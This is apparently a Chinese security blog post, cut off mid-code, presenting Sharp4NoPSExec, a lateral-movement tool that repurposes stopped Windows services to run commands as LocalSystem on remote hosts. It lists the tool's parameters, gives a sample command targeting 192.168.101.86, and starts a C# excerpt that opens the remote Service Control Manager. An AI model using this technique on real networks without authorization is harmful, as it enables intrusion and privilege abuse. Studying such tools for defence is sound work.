01阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面
02基本介绍
Sharp4NoPSExec是一款专为内网横向移动设计的工具,利用被禁用或停止的Windows服务,以LocalSystem权限执行任意命令。通过修改这些服务,攻击者可以在目标机器上执行任意命令。
03使用方法
Sharp4NoPSExec提供了2个必选参数和4个可选参数。其中--target= - 指定攻击的IP地址或计算机名,--payload= - 指定在目标机器上执行的命令或二进制文件。可选参数用法和说明如下所示。
--username= - 用于认证远程计算机的用户名
--password= - 用于认证远程计算机的用户密码
--service= - 要修改以执行有效负载的服务名,在完成有效负载后服务将被还原
比如运行以下命令可以在目标IP地址为192.168.101.86的机器上启动一个具有system权限的记事本应用程序。
Sharp4NoPSExec.exe --target=192.168.101.86 --payload="c:\windows\system32\cmd.exe /c notepad"
04实现原理
Sharp4NoPSExec工具首先连接目标机器上的服务控制管理器(SC Manager),以获取管理服务所需的权限。
Console.WriteLine("\n[>] Open SC Manager from " + options.target + ".");
IntPtr SCMHandle = Program.OpenSCManager(options.target, null, 983103U);
if (SCMHandle == IntPtr.Zero)
{
string errorMessage3 = new Win32Exception(Marshal.GetLastWin32Error()).Message;
Console.WriteLine("